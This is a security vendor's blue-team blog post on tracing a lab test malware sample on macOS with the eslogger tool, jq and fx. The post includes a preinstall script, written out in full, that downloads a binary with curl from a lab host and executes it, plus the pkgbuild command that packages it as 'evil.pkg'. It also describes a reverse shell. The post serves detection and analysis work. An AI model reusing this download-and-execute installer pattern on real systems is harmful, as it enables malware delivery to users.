Cybereason Blog | Cybersecurity News and Analysis

Blue Teaming on macOS with eslogger

Written by Cybereason Blue Team | Oct 4, 2022 2:57:39 PM

In this edition of the Blue Team Chronicles, we assess the capabilities of eslogger, a new built-in macOS tool, and show how defenders can use this tool to better understand malicious activities on macOS and build new detection approaches.  

To simulate malicious activities on our lab machine, we leverage one of our early macOS testing malware samples, known as Gustav in these examples.

Key Points

Upon studying the new eslogger feature of macOS, we concluded: 

  • In-Depth Information: eslogger provides detailed information on operating system activities that defenders can use to analyze applications dynamically and to engineer new detection methods.
  • Native Application: The Ventura release of macOS includes eslogger as a native application. This allows users to collect endpoint security information without installing additional software.
  • Undocumented Output: The eslogger tool outputs complex JSON files, but only limited documentation for the field content is provided by Apple. Many field names are self-explanatory, but others are not. 
  • Large Output: Depending on the configuration, running eslogger for only a few minutes can result in tens of thousands of events. Handling this amount of data requires a good selection of tools and a well-defined processing pipeline. 
  • Not Intended for Large-Scale Data Collection: eslogger is not intended for collecting endpoint security data from multiple endpoints. To collect endpoint security data at scale,  macOS agents from endpoint security products now generally leverage the endpoint security framework API. 

The eslogger Tool

With the release of the Endpoint Security Framework (ESF) in macOS 10.15 (2019), Apple introduced an API for monitoring and auditing system events to replace the deprecated OpenBSM API. Security products now ingest these system events via the macOS agent. However, accessing these raw ESF events in an ad-hoc manner required either self-developed software notarized by Apple or a third-party ESF client like esf-playground from mittenmac. 

The October 2022 release of macOS 13.0, named Ventura, includes eslogger: eslogger interfaces with Endpoint Security to log events to standard output or to the unified logging system.” 

Setup and Test Run 

For the first eslogger test, we set up our system to examine events that the system creates while performing standard operations, such as opening folders and reading files.

Before eslogger can function, the app that executes eslogger must have full disk access. We granted this access to the Terminal app:

Figure 1 - Enabling Full Disk Access for Terminal.app

At the time of writing this post, eslogger supports 82 different endpoint security events, including several undocumented ones.. All supported events can be listed via:

% sudo eslogger --list-events

access

authentication

btm_launch_item_add

btm_launch_item_remove

 

More detailed information about the event types is in the Apple documentation.

To get a first impression of the data that eslogger generates, we directed the tool to listen for events of type access and authentication. We redirected the tool's JSON output to a file:

% sudo eslogger access authentication > eslogger_trial_out.json

 

The resulting JSON file included multiple root elements. To convert this data into a valid json, we used the following Python code (es.py):

#!/usr/bin/env python3

import sys

out: str = "["

lines = sys.stdin.readlines()

for index, line in enumerate(lines):

if index == len(lines)-1:

         out += "{}".format(line)

else:

         out += "{}{}".format(line, ",")

out += "]"

print(out)

 

We also used the fx tool to get well readable json:

% cat eslogger_trial_out.json | ./es.py | fx . > valid_out.json

 

Analyzing the resulting json interactively can be done using fx. For filtering, we recommend jq. Having a look at one resulting event using fx, we can identify a process block that we use later for mapping events to a process/tool being analyzed:

Figure 2 - Process block of an endpoint security event

We used this information and the jq tool to filter out events for the com.apple.finder executable: 

% cat valid_out.json | jq '[.[] | select(.process.signing_id == "com.apple.finder" )]' > filtered_process_events.json

 

We then learned that com.apple.finder checked the file access permission for /Users/secret/Desktop/blog/test_out.json

Figure 3 - File access permission check event for test_out.json

Analyzing Malicious Activity 

 To analyze Gustav, our early macOS test malware, we selected the following event types:

eslogger Event Name

ESF Event Name

Description

create

es_event_create_t

Creation of a file

open

es_event_open_t

Opening of a file

utimes

es_event_utimes_t

Change to a file’s access time or modification time

unlink

es_event_unlink_t

Deletion of a file

exec

es_event_exec_t

Execution of a process

uipc_connect

es_event_uipc_connect_t

Connection of a socket

kextload

es_event_kextload_t

Loading of a kernel extension

btm_launch_item_add

btm_launch_item_add

Creation of new launch items 


Note: This new security event also appears as a notification to the user.


For more information about the beta ESF version of this event, see the Apple documentation

proc_check

proc_check

Retrieval of process information

 

The corresponding eslogger command to filter on these events is the following:

% sudo eslogger create open utimes unlink exec uipc_connect kextload btm_launch_item_add proc_check > gustav_first_run.json

 

We ran this command whilst manually executing Gustav, resulting in 1758 events—too many to process. These events included the events for 75 executable files, including Gustav:

% cat valid_gustav_first_run.json | jq '.[].process.executable.path' | sort | uniq | wc -l

75

 

% cat valid_gustav_first_run.json | jq '.[].process.executable.path' | sort | uniq | grep -i Gustav

"/Users/secret/Desktop/Gustav"

 

Filtering for the executable paths, we reduced the amount of events to 23:

% cat valid_gustav_first_run.json | jq '[.[] | select(.process.executable.path == "/Users/secret/Desktop/Gustav" )]' > filtered_gustav_processes.json

 

Using fx, we isolated the first event and identified the signing ID, which was named cheapDropper. cheapDropper is the internal name of Gustav:

Figure 4 - Process block revealing signing_id “cheapDropper”

Using the grep command, we filtered for the name cheapDropper in the eslogger output:

% fx valid_gustav_first_run.json | grep -i cheapDropper | tr -d '[:blank:]' | sort | uniq -c

   1 "executable_path":"/Users/secret/cheapDropper",

  36 "signing_id":"cheapDropper",

 

The command returned many expected occurrences of the signing ID cheapDropper and one occurrence of a new and unexpected executable path: /Users/secret/cheapDropper

We observed that this executable path had no corresponding event:

% cat valid_gustav_first_run.json | jq '[.[] | select(.process.executable.path == "/Users/secret/cheapDropper")]'

[]

 

Using fx to search for cheapDropper, we identified the btm_launch_item_add event. Endpoint security recorded the creation of a new login item that was a launch agent. Launch agents are scripts or binaries executed automatically when a user logs in, and threat actors commonly misuse these scripts as a persistence methodology

The btm_launch_item_add  event provided the full property list (.plist) file path: file:///Users/secret/Library/LaunchAgents/bla.plist

Figure 5 - btm_launch_item_add event revealing a newly created launch agent

We observed that Gustav had created a copy of itself by checking the home directory of the secret user. We added the location, name, and hash of this file, together with the launch agent name, to our indicators of compromise (IOC) list:

Figure 6 - Gustav created a copy of itself in the user's home directory.

Taking a closer look at the process block of this event we see why we were not able to initially find it by filtering on process.executable.path. The launch item itself was created by the macOS background task management daemon - Gustav created the bla.plist file which was later processed by backgroundtaskmanagementd

We were able to map this event to Gustav due to the similarity of the signing_id and exectutable_path from the btm_launch_item_add event:

Figure 7 - Process block of btm_launch_item_add showing creation of the launch agent

Next, we discovered that the previously identified launch agent executed the /Users/secret/cheapDropper file. 

We can observe the telemetry data in the Cybereason Defense Platform showing that when a user logs in, launchd starts, loads the plist files in ~/Library/LaunchAgents, and executes commands that ask to be executed at that time:

Figure 8 - launchd executing malware via a launch agent as seen in the Cybereason Defense Platform UI 

Next, we identified additional events related to Gustav by analyzing other event types. We found:

  • 18 occurrences of event_type 10 (open)
  • one occurrence of event_type 13 (create)
  • three occurrences of event_type 86 (proc_check) 
  • one occurrence of event_type 9 (exec) (we could not find an official mapping of event_type to the event name so we did this mapping manually)

% cat ./filtered_gustav_processes.json | jq '[.[].event_type]' | grep -v -E '\[|\]'  | sort | uniq -c

  18   10,

   1   13,

   3   86,

   1   9

 

Amongst these elements, we isolated the type 13 and 9 events by piping the jq result directly into fx so we could explore the JSON data:

% cat filtered_gustav_processes.json | jq '[.[] | select(.event_type == 13 or .event_type == 9)]' | fx

 

The event of type 13 also revealed the information about the creation of the launch agent .plist file. On macOS systems older than Ventura, which do not have  btm_launch_item_add, defenders can use event type 13 to identify the creation of new launch agents:  

Figure 9 - Create event for the launch agent .plist (event type 13)

Meanwhile, the type 9 event revealed new information. The Gustav process was spawning bash as a child process and executing a basic reverse shell to 192.168.64.1 on port 6666. We added this information to the IOC list:

Figure 10 - exec event for a basic reverse shell (event type 9)

We then checked the Cybereason platform. The Cybereason UI showed the outgoing reverse shell as well, in a more approachable format:

 Figure 11 - Outgoing reverse shell attack tree as shown in the Cybereason Defense Platform 

Summary

In summary, Gustav, or cheapDropper:

  • Copies itself into the user's home directory
  • Establishes persistence by creating a launch agent that executes the copy
  • Connects to the attacker's command and control (C2) server by using a reverse shell

The test malware cheapDropper does not do anything else. To get this information, we used the native application eslogger. To help analyze the complex JSON output, we used fx and jq

eslogger Test: Preinstall Scripts

We also used eslogger to examine another very common persistence technique on macOS: pre-install scripts. Threat actors can include pre- and post-install scripts in malicious macOS installer package (.pkg) files. 

These scripts usually run by using the root account before or after the system installs the package. Attackers can trick users into executing these malicious installer packages. The install script sample in our tests downloads Gustav by using curl, and then executes the package: 

#!/bin/bash

curl -k 192.168.65.1:7777/Gustav -o /private/tmp/gustav && chmod +x /private/tmp/gustav && /private/tmp/gustav

exit 0

 

We used the pkgbuild utility to create this package, which contains only the pre-install script:

% pkgbuild --identifier exec.script.test --nopayload evil.pkg --scripts ./scripts

 

To start analyzing this threat, we used a slight variation of the previous eslogger command and added xp_malware_detected and set_flags events. We then ran the evil.pkg install package for about one minute. This action returned 8371 endpoint security events. 

Next, we listed all the executable.path values for each process, and looked for events that had the following executable path:

/System/Library/CoreServices/Installer.app/Contents/MacOS/Installer 

The identified data did not provide us with the information we were looking for:

Figure 12 - open event for the install package with a malicious script

To obtain the information we wanted, we had two choices: 

  • Searching for events related to the package_script_service process
  • Using grep to search for unknown events containing identified indicators like evil.pkg

In this case, we searched for package_script_service events.

Searching for package_script_service Events

Because the open endpoint security events did not provide references to the executed script, we hunted for preinstall scripts and searched for activities of the package_script_service process. 

This process is the parent of pre- and postinstall scripts when installer.app executes from the UI. First, we obtained the events related to package_script_service by running the following command:

% cat preinstall_run_valid.json | jq '[.[] | select(.process.executable.path  == "/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service")]'

 

The results revealed several proc_check, open, and exec events. One exec event seemed particularly significant. This event resulted from execution of the preinstall script located at /tmp/PKInstallSandbox.jaN7a2/Scripts/exec.script.test.dCgn6O/:

Figure 13 - exec event for execution of a malicious preinstall script

For more information about how the package_script_service process handles pre- and postinstall scripts, see Technical Advisory – macOS Installer Local Root Privilege Escalation (CVE-2020-9817)

To identify what actions this preinstall script performed, we searched for all exec events from processes with parent pid 1625:

% cat preinstall_run_valid.json | jq '[.[] | select(.process.ppid == 1625 and .event_type == 9)]' | fx

 

The search revealed three exec events that contained the commands from our initial preinstall script, including the command executed to download Gustav:

Figure 14 - exec event for the first part of the malicious preinstall script.

The other two exec events describe the chown (file owner update) process for the downloaded binary and its execution. 

Summary

In this quick analysis, eslogger showed that the analyzed install package executes a preinstall script which, in turn, downloads and executes a binary. Other ways to analyze install package files include static analysis, manual unpacking, or using tools like Suspicious Package.

The Cybereason user interface (UI) shows the same information in a much more approachable format. Figure 15 shows that the package_script_service process executes a bash script, which is our preinstall script. The preinstall script executes three additional commands: curl, chmod, and the command that executes Gustav:

Figure 15 - Complete trace of the preinstall script execution as seen in the Cybereason Defense Platform

Conclusion

The endpoint security framework was a valuable data source from the day it was introduced into macOS. With eslogger, all this information is now available via a native application enabling defenders to collect important data without having to install additional software. eslogger provides low level information that can be used to understand behavior of  processes and identify detection possibilities.

The absence of a UI might be a problem for some, for others it’s a blessing - the lack of detailed documentation makes working with the endpoint security framework a challenge sometimes though.

Additionally, to use eslogger most effectively, analysts must select specific events to monitor, be familiar with macOS internals, and have a good strategy for handling the vast amount of JSON data that the tool produces. Even with a strategy, however, the large amount of output that eslogger creates makes the tool unsuitable for collecting data from multiple endpoints - which is not the intention of this tool.

Overall, we think that eslogger will be an important tool in the defenders arsenal.

About the Researcher

Silvio Riener started his cybersecurity journey when IRC was still a thing but BBS boards weren’t anymore. Since that time he has been a student, a systems engineer, a security consultant, and a security researcher, and he is now an enthusiastic Blue Teamer. He is interested in everything that makes the life of attackers less enjoyable, and likes to code, understand operating systems (especially macOS), and analyze new threats.  He likes to do non-computer stuff as well—but that’s a story for a different time.